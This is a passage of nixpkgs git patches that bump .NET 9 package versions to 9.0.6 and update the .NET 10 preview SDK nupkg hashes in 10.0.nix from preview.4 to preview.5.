+    "sha256": "fb041ea38aaa471c244a22d1e53d0237227fd22bb5f2359c19f35c763cbfb735",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/9.0.5/runtime.osx-x64.microsoft.netcore.ilasm.9.0.5.nupkg",
+    "version": "9.0.5"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILDAsm",
-    "sha256": "fa3a5672fbcbc569d1a864d602b894ba0806f2f77b6a3727cfa4872e0955ddc5",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/9.0.4/runtime.osx-x64.microsoft.netcore.ildasm.9.0.4.nupkg",
-    "version": "9.0.4"
+    "sha256": "9cf31529a9e903281d7c7ea17cb99cd4b5011dabc65f78cd224d66daf570bbab",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/9.0.5/runtime.osx-x64.microsoft.netcore.ildasm.9.0.5.nupkg",
+    "version": "9.0.5"
   }
 ]
diff --git a/pkgs/development/compilers/dotnet/9/release-info.json b/pkgs/development/compilers/dotnet/9/release-info.json
index e43644f37c04..0650ebbfee32 100644
--- a/pkgs/development/compilers/dotnet/9/release-info.json
+++ b/pkgs/development/compilers/dotnet/9/release-info.json
@@ -1,5 +1,5 @@
 {
-  "tarballHash": "sha256-D/AmJxuOIdtQMoS1z66OBUbwCdGFgUl7p1QIRyncdMM=",
-  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.9.0.105-servicing.25165.1.centos.9-x64.tar.gz",
-  "artifactsHash": "sha256-BhjBZuB2m1DncVKtGxvd7UcnY9Sqg3Rthr0CECygqJg="
+  "tarballHash": "sha256-jyXUjn7AqUswtwLBkO54YJo0hSDuvvMsHmv6GW8p15Q=",
+  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.9.0.106-servicing.25230.1.centos.9-x64.tar.gz",
+  "artifactsHash": "sha256-z45Rk63ad5VL5pslOUktewJQOHYLQlOgz/ZiT9v/UNo="
 }
diff --git a/pkgs/development/compilers/dotnet/9/release.json b/pkgs/development/compilers/dotnet/9/release.json
index 8403da486560..e9e6003512b9 100644
--- a/pkgs/development/compilers/dotnet/9/release.json
+++ b/pkgs/development/compilers/dotnet/9/release.json
@@ -1,10 +1,10 @@
 {
-  "release": "9.0.5",
+  "release": "9.0.6",
   "channel": "9.0",
-  "tag": "v9.0.5",
-  "sdkVersion": "9.0.106",
-  "runtimeVersion": "9.0.5",
-  "aspNetCoreVersion": "9.0.5",
+  "tag": "v9.0.6",
+  "sdkVersion": "9.0.107",
+  "runtimeVersion": "9.0.6",
+  "aspNetCoreVersion": "9.0.6",
   "sourceRepository": "https://github.com/dotnet/dotnet",
-  "sourceVersion": "3d441471e6d6513e40022042a13b536bebff0590"
+  "sourceVersion": "3b2a975be6836979a19db7625a972b46a36efaeb"
 }

From 6497f05f50329911f91c9af12c0665bbc79312e4 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Tue, 10 Jun 2025 21:45:41 +0000
Subject: [PATCH 1076/4511] dotnetCorePackages.sdk_10_0-bin:
 10.0.100-preview.4.25258.110 -> 10.0.100-preview.5.25277.114

(cherry picked from commit 992097b1b291c6a8b9cd49b682e7eef0fd4b9223)
---
 .../compilers/dotnet/versions/10.0.nix        | 376 +++++++++---------
 1 file changed, 188 insertions(+), 188 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/versions/10.0.nix b/pkgs/development/compilers/dotnet/versions/10.0.nix
index dad1d16ce06c..c1fd4ffbfe38 100644
--- a/pkgs/development/compilers/dotnet/versions/10.0.nix
+++ b/pkgs/development/compilers/dotnet/versions/10.0.nix
@@ -11,28 +11,28 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "10.0.0-preview.4.25258.110";
-      hash = "sha512-vWfi3rmaeYjPakVUAA/UpIxiLPxsMocAAebe21qdNAgo8pm0qzlEvt2JB94HCw2i4v2pHzabs62l67WdS5djwg==";
+      version = "10.0.0-preview.5.25277.114";
+      hash = "sha512-s4HlvPy1QuJKFkv5YvtRhYyOBiOm+OHD1RDnOdQCrpxCVbBEguF5jv4Ad4GX/cEqW+HB8hSt0Z0b8+rHu5Ki+A==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "10.0.0-preview.4.25258.110";
-      hash = "sha512-gUHQwJMibQcllICsw+sxgSm/ceKfpAPhxVE1Vm66x2OQp4q+x0zU/AuvDkR8gIj4noJ/7+jBk1lhI0l58WbS0A==";
+      version = "10.0.0-preview.5.25277.114";
+      hash = "sha512-CpTBajurwDJBqGksHOWwf/deFNhBj5mooR8mkK1hpKexMR20KuprblkuCxHEzdf99F4pvOY3cpi1jpE+jkhqGg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "10.0.0-preview.4.25258.110";
-      hash = "sha512-VfeM6G0eQyv3IFInmAmu9+fNZeBZPbrcv+U/z1HDoCj0K91fqS4zt3fz5z21+zG8DYEAlTF54Han9cEZFHR20A==";
+      version = "10.0.0-preview.5.25277.114";
+      hash = "sha512-MYy3h/RxwEKD5fKfyW8xb+qiYAdvXmIh4HCxXpiCII04SvWH6myXrF+IsdoAdtIFdNnf/MWe6zbaUi1lwh5MEA==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "10.0.0-preview.4.25258.110";
-      hash = "sha512-cIjmBqaMxRPEEXInf6o5AeRmah9/pMUzqPcakc1AJqz+Ciit+ns2tcN4ykLlgoVAyUeG9v3iO/4OVPijZsVZnQ==";
+      version = "10.0.0-preview.5.25277.114";
+      hash = "sha512-IveQf1NcMPHPWL4JWlmhjE3Zuh6Z4EH+1vJGbT+WP1TwxGLiek/ejwS1PovGP8rYfkOEWT9LRAE+cHjT849mTA==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "10.0.0-preview.4.25258.110";
-      hash = "sha512-6DksjrXQLPxpormAUtVZuLMHfcpNdCCH+9mKJSMiS1K+EaPI34hV+draFvcCJetHR/Vlcy+3VG2swZAi31cDGg==";
+      version = "10.0.0-preview.5.25277.114";
+      hash = "sha512-/R/whqQSpMH1QImsjt7uq2ALWe9foCob6gVheTqF+Fnwu0LmFZbcAmiB+oEyCt8hJwmS7i/YVg8Gwod5VzdPIA==";
     })
   ];
 
@@ -40,118 +40,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-uuslaUWSs49xZFoOly2UdnvOC0fJcA7Rd5mLx0PHbDvOz5gySJduHcnEyrZf0q0yjX7Hgs/xhg+dZU1Eqje8uw==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-5ESzKgrodn+sAQSmMLOxeS7mJWm8BA363aPG91+k/35/Ah/txahPPCc4omRWDMmEutK7fCY8c7zgS7tGlf7McA==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-1guGT2CPPJrlcRAnWl2cl/Jqqu1X7Sqp0B9r8H5NZKhal8eSaYnC6Bn5DL3TYYA0wPNbrbUZ54wkSWHV4gArpA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-qEaKvjfg4dv1xhz/y60Y1n9dQNM5TLo+S5ncuwnZTrUVAxlXBtq9IYqZJ3phynbt5zKPgyqk3P4AUQ9yq+Os4w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-t7u2DtlUkSFN5pnmsj6qlSJGjp9tw7U9cf8dI8g8HlmbHYjQFrf1OQuXAkj4tYbBiQjAGAkr/ykhNyDAm1swwg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-FuN+WXR/OVGTxucPJranVRmxbYdZgGLorua2fl1H8tDXrgnFJ1r1gmUS5nDVG4+6zlbAohUtCmg+CLl2cJZshA==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-lSDeJGzErzirixErfLQetvl9TgiuXKPRcZMupq61g2f9aUwjEan8KdS5kjC4ZFrkfaR/N5+ct/VEi2kW5odBBw==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-zFwwL03ZGoCFoSBMIm5JxwDqHoEFwqWQY/70z8L708keOulasLQaZzNo+0Aj17LRbO9ai1f0NraNwgkQipBw3A==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-MVWtx9pN1c1cOn+uLQJEQtmuI2boJLxD+JGrp0hO9Z+ry8fzZ9syUsBfebttmYdBmE56iSJfg75BCPPiBrhh2A==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-Z3yH1oMeEi7bfULV1vsJUmhJV7sGFe3j4sTdcQ2Iqot2KnNq54uUDkHigPRSi0PQ0p2tOnK4idVTDntITm4DWw==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-iIv4axN6NGortCDDWnv2hEXDW9WjB/64ydiYQT8FHT7owwtGghkBq0dRyE7d8uowXsSm+JZkOnHPLjMr0p0Lcg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-50+U03mBEDtKgzzQus6e/b9SPeY5hSTrm4k8Jk0AyiKzU30UL7sjgQzfRGGvNEKEEScDg86nqeJ4Ox3A8Splqg==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-oc/ufL4QLBzTqrHphJ+v5WCY5pwU1mSEapHhbpLScOu7wdAsmVNhESXVa0k2wNsYMfOUxPA/+ztQ/EBOXI+BgA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-FOGUGW5RSoxkBLjiVP2Rq6yIrODbDFF822fAySFR0Sb7Wl5zFa2DBrzobjjpPX5kxGO5g/KDpvvhzc5ER6NSVA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-t8HlQpH3NpM441PLmfmblZEs0vz/EFUV2VV5Lyk4djEice1Ozv9G2rImmFv6dp1L+wPZ4i30ROEhpcrP09I8QA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-B/YcJ/Owoamyww7r2MsTI2cSWTmADFiUAH+JLXo2gJKx29W1FHo9/AJkzhj4hPbTOjcxXZXgnpdAv1wpVAsgRw==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-1IUc1oMd94aJys8I4OlCRI6cUGH2vnh5YHImHE+95FoFHXCruOiGhURmnrGeKX0qXjyjdDspqMuks0eiu7NyUA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-EWGjha2ABrQ5dc80NPXI3wqMBwTbV57Yd8+vhtG9+TUkdaPIm7Ih9tiEskTdw4bbvRi4WJaPMlkaw7t1bUcO4g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-i8GunHeJSaSYPZYCuRxoatrJrjKLgsqEXNB9Nq4neHrK6douI2YSxZEIuDFOYlWtWrqJWXPj1Bvd/HtIaw+KyQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-4KsNQ8Qd5WwJGSeRM8oIUUc0xlFJ4Sijfmyi+jCHGPKs8NsBOeojdSyg36ROBeDZ1pJVkplLqQJkl4/QMk+6Ag==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-zZH8KOTdzjA0ZTSJ0JaAiN67sNjlc8sH4uI2Z72CiCIYgWrSsGGc9xB8UfLWtpdc56VUgK8nXOBOhGEoKAbKCQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-t2fI/fmsogh6D2d0Y8QDBvvubtSNxfCuwoY0zHO2Kq80VflvC9AnC8JGEBjiGH7UDf57sVDzZkBkFcB6zIYEpw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-EnBkJr7HU9Ry04aklgocx8TDSuwDfMIu6IJyq0FOGDmxIrbftIoycNg9uiQIntzpGYnqclYTvxpmddYjyFAgLA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-A8r/O6ncUS0OoLWuIO081xE77Im/EKQ3ath4DzqL27GBO7AqBYME8c0fEMxBn3ezqDKKgp7WoRjxmvyFrjjFUg==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-EPzA41GT9+m4+1PI2VuYJV7brN8IoVfbAZ7Mf+9vhoJRnEpkHTKVzbRb/Or5MEXcruLj23ZJv8nlavBZGt46dQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-4XoD65xIjjxalBaqZp+wGp2IGgbo3MVSs0cPV3LRuyuyci3TEZmyYj63ZbA7zJcjzXJXDhgjQVX14JPx195ZCw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-tPHg/NyhOaJD1VOkk7rPmfeCrGCgZ82L7rduyeZf41wZhlfApycRRqdWZuDBbbPi4ZXnBmr6ZbiAknhorVeS9Q==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-TP1b+02yPlLhvj16Hq2Fwn8Qxq+NXvLM0QxxIiFCa8RHijb9WmSRvzNwUp1HLxjArzgbvCDlTmwlMsh2LbwSvg==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-6RtyWlpvIBR1rRiJloG/hLKG7jX7/dWnTOoaODdPR/1XMrvJUHhIgxh84qZRcDAhnTW+SSXmrWXVgvBFRuKDkQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-DoHyLSBIYsD1mfbHnJDKi7PvqPOSd5ySoDeI2m0pv55Dx46CQdks14lIuusttk46bvBUFfp63KILpbmQzU1ovQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-8vBMhAkenArNqzb2iRwWJJRmqgQ2PCa5lNMFj/JrfeIHuvhLCAN+4zvLj8+WMKPVYD8uIrUG0qKLvEqimCURaA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-Kbdr7rNaKTP8XaMzevtG7RPH+UQ4IQQd6No7fzBN7/VStj1uPc4Y7OMxrDtnGZFbGo06IbTtPSAxcrWj6BE4hg==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-wFj0m2cPFDkSjYR1qJrTsdV/m7YTxo+pC/aY7R0adVWZJQ4n57/HdzB5ZHDfsGfcPueRQ+wzFyoMpQ67FLrOvQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-3ShS2dKWGFmMgI76TuN1kYWzDpumT9ToxNVxMJTt7I6t+vICEVbwWXZPi2cD7ZWHrzi3/tIgSVzzHNFazj13oQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-49V5bfRKEcjeqRy5YUSp5Z8ttGBw0LhDc4ScGKnZcvI/DXiDO2F5tLcCuyUALeyocVYqhLMzf90qXs9vkFDVnA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-1U//TasFxoxn0VJjA/iPzzJDnQenarO74bvPMraRrQfGqR4t2AEZA1gLgV5Mz38LVB0irpvxdSPoEW4keNA0tw==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-Qv0lflOQmXTGb3B4Ex7087VvZXRu8IzMumq2ij/pocKm53kx9cMjuWp51LRqy5S8f+iG9OMtg3qzHrrYfy0Jkg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-KIydC5/Xl87tFKN6pESgrcGatj0zcf1bzgBjlx+qGr3vk90EHRV2yk67hLok5jzqlnbSBKrF7UwEau5Se0mMMQ==";
       })
     ];
   };
@@ -160,361 +160,361 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-C0StqvgEE4P/6k2IA3K7hfHOg6NaBtw4QsYo+WBNe/+Ncm/LpkAz/kzswIpEQenBKHOiOxt0gXrDU6wKoiZHKA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-sZMp5qkPDTK6VyqYT4a8sfGuFb5xkUo3aIaXDRjOAQznRmknxKycMQxV0pIxxFvVeyyBeqvxYslT2AhhL+EHAA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-uzd6h0bZSwGJFj0pYewpPGcO321uuiKiz0g72E4AmaGArw4SLamqXPW4R7IvxkQwBgH8XdDvl5JiYh1Q7m8nSw==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-6Fblda7ZmvctHnrFBgbPI7ASkzBwA6PyENq/fBAKN9qXA1s3RcITpRE05IIiXWyWetC1069bbkZZ9IJ7fJGQpg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-wgISlUvkDZlpXe349zD3sbJWGPgYbt0dixg+JewPkW5wx5fUc9dkTBX6i7IZwb3IgmITO9WenMaJI25ceK/CUQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-/NjUBaHpFjAiugmZ9mX5R/v5nfey41rWao/msHOt8/0nafBqGiOxAL31bTZbcgMIIt62lOKKxjWpJ1FBbSiM9w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-pI1iX+DJ/QhC0OpCmHw9tL4FAnK8bbHKi6C45cryD7h8Vtig48LxyoOpyIy5qv/N7UYQcZVLI5gn3V9a87KlNg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-R8veKCL6tx0+Mf0dnLS1S0vy2VyaAHkOEnLpr0P1lGuafdGUH6U9soRORAmN4Yd1Li4M0o9CP11Izunq/iG3Pg==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-vCnb2RgQVunOTzEQNCfl1tqx66PVmnq9dNgLLKtWVxjIj5smtR4pjv8PIUTsXa6eunl5Sje5LuCghAsDYOuEhA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-z4nJcFunBtPJgbSQO+pZHZpYVH/hnDWBJtSf5J7pVCKzRYm3mJb1N0DIx/2wB1HtVg0cvw5K1QIBeQdBv5aRxA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-kxLQqbRDypZACsKMnwuxKk/UGp9poLAgbs45S6cGuIuG50H7o2l4lg7DScBU0FWBIjaUbyb+gEKUyT7+f6CWOg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-6HRNrz6RVTrD5XQuq35HhBE5qC3iBts30LwDZ27eICx3xSoe3cVX+cDKyaQenobOwMCS/trHB1AvfkTTMI//gg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-/AeNVTpdH1X0wswtB821nx5tDKL7pVxhOPbHt9zwRbqxvIdHOkAxKZwxbhpDu38I+c0sMYOQwdrekHe3v2p1vQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-TWpJ6I11YP653VrhYUiSQgI/mwCfk1t4ngl0DBGezsxuSsCW9SrVVsZaCoboAm2hKbGlgC620YQOCLUofZxaRQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-FhXBAECkx2pTl+o02UWuJuKtGFUMZ3NZVyApMOubAlE0y9BuaV6pu/0a32DlE4s7vVyoJAayWyspmw8dqGyGSQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-I1h/tB0nh4CzOccmktX4KSZR9dNqYrqS1nZDs1ij889XtoIrYePtSnMasnxMfaeMp8vY7WCSKSWNPlynhOh15A==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-arMALatifYSYEOsWnO1WVu5+QO3YIRdN0kIcUVS2zaWblFMK9g4wPBj/TV9FwwfXN+fAuehjhLv4ZcdkKEzozQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-5+DdKKWt/JW373FJ6r5+vrQRhv6xRAyQXPeHdrAEAP/wlK9AnJE9pYuHfQI2Trwqklak5O1Ag5GrRin/7oBVaw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-2aTTaiEyzXR/Q2GuqxpzvLt5F9Psv4tI6+0+fZfJYo5f9uK1N6ccMdjhqyJH65Be7qdFvTUZsK0upOcdmRlb9w==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-zbq3UWa9qBoaEgYvvU1dR6V9YPIHs+liWOhUj5qfGBGKtZH8bTvpbNu0isYms0d9ML69aWTAiZg5C9rFP5hrag==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-CPXT1/j+JIuPx85z2CTOUSNBKA/Ru7ViiMt3Pco2gznFAyWQeiIFzBNJh0Hh15xSkKZnKBQ++Dea1J6GXMEgfQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-ksXckpgL0kdZEVVgAmofcEUL8GIxwPOGS2+UVN8Fo7gj+RV0zwbXSUH3v4KNIq/8ngFVOh6pQU22CzCwxoB3Pw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-W8HRshU8mCn6SvlAWzwn3pQBI0u4z7tyHVvWzOqoiNbWjfOST8Dai/K1xSMdqUaB8UDd6UvslW9vICLbOgBMSg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-bpdq72fgG+2FD5BC95wpEikX0hmTnypjS+ORXy9205+a3ElhlQXzwe1u/x3fNzAKOXVeGatHibdzAHrOmowARA==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-XN2AgOKMX9LAyrQc/z3BOtQIWnlTuCb9b9APjfY6xP3chc5n+5TOqpVh/qQVNx3/nIHl6TeZ9KxuB7mYxH3E1g==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-ctmfELPcwp5Vaoh/3oQVoe2ZtivoZarY+XgVW3jC0hvn7qiensODQJP3am84kRu5l4k/c8MFU4HJkjFEopFKCw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-klhpghCNw87bBhxvKxqA7xKWDYrDCWlRXTDhcgrK3jz/e9/B3eig8kiIIIWJ5sTBdrBSaZBziYPbgGBj9qH2hw==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-v39otkbx5A2qerWBnqFu6ZtJYXy4sMvK/xv8RGMOgLR7VdcD5kwQpF80ldz7de23qh66nRFd9ONLKajtJqu58g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-TPyPwxc5nmvfI+qzB6Rh5BsyoXoSqkb0fC2u6F+KdKjPs5sji0N8vqJs0oD0fsxcXcDipGZ29KKNFwjm42EzQA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-BHr5lNkp8ct/5a2kSVedpsTPKGhOm/ofmD0Tgb7a3vT0dEsuzH+4CwcH7/QmSfyr/TaJeiOzraBxIuQwGlDTHA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-faMYtAbsnq2lajDY+kqzYPGff562MVOB/wMG2xifD9Gz1bKiSo2GLR/wwJRvIWlTrb46Y7Uoa5O4AK6LEX4sxw==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-0kygUISqT53WxlL8CYxN7yR/imN0z3fKWgm3NKhUbW/nURkcvLz/J/ft64/ib26Ez4izYNnRqJOYdAaYWSd/XQ==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-lzGjDryEGWgrjzo1Jn8der4K6xVMN6VDDOwSAUkShMEBfQDZgmSFmkF1qFYzVdsdkaKyLOvY9ojILmbD0Dlirg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-aOBEqQy1MMYXjG2tCc/yvCN+J5wRq0ZONOW8CTDIXJJVC7FDsW4gDHpa8B6j1D+Cfufw8lN9jymwmEkg+bfQeA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-MOC9ECT6SNDvKWe0GztteB2xjMmxjYvBo3IMBoT/u60pj3Pq4oKvbvdTWXswKYnXdZbm4QMbWXW44kCbkI28SA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-nx+JKXvSyhia1LdIRj0wN/Enu7hEoggBI0/kZtE+K/k5RJAX4An2GVirc5YvuM2FhWnEHC72Ex7Dg74Q4rFWBA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-Fj1f1/paElOi1bIGX7lnRV/EpgAe2MSJueYnTsubIYQu6DL1dO01XE0npm8z5InVks5MSmswTY/l8UibOmm/wQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-Ik2gQHaJkzM45PFOzFW5nbTdXJLfEcBtWC077cD6Lzmdg0C+jRRYLpDtXfEqt9CMBdgGKYWR4KBLKubLiC7nsA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-lWhzsbJRYcJStaCn1U/fmg8Bcv/3c6s6Ba6hpv7m/Y0nI+eNvRS+aOoHF5Bf8AgXmA7ukhrRP7QvQhxcvcLX1A==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-YdnzOIgp1zhd9OUpcEQJ3/Fje9GviYa4/+bbn8StJgMK8RgR+9CTQeC1ePazCqKXQ7oYcXXjgchE8CbNsxRFfw==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-kuBEdbF4mtqnayGH6xR+2Qh5nO8ipPVikosW31oAJFSYsxMwNn5EIQ5Xt/XSuRNM5APVGZYu6i49l/ldghxDtA==";
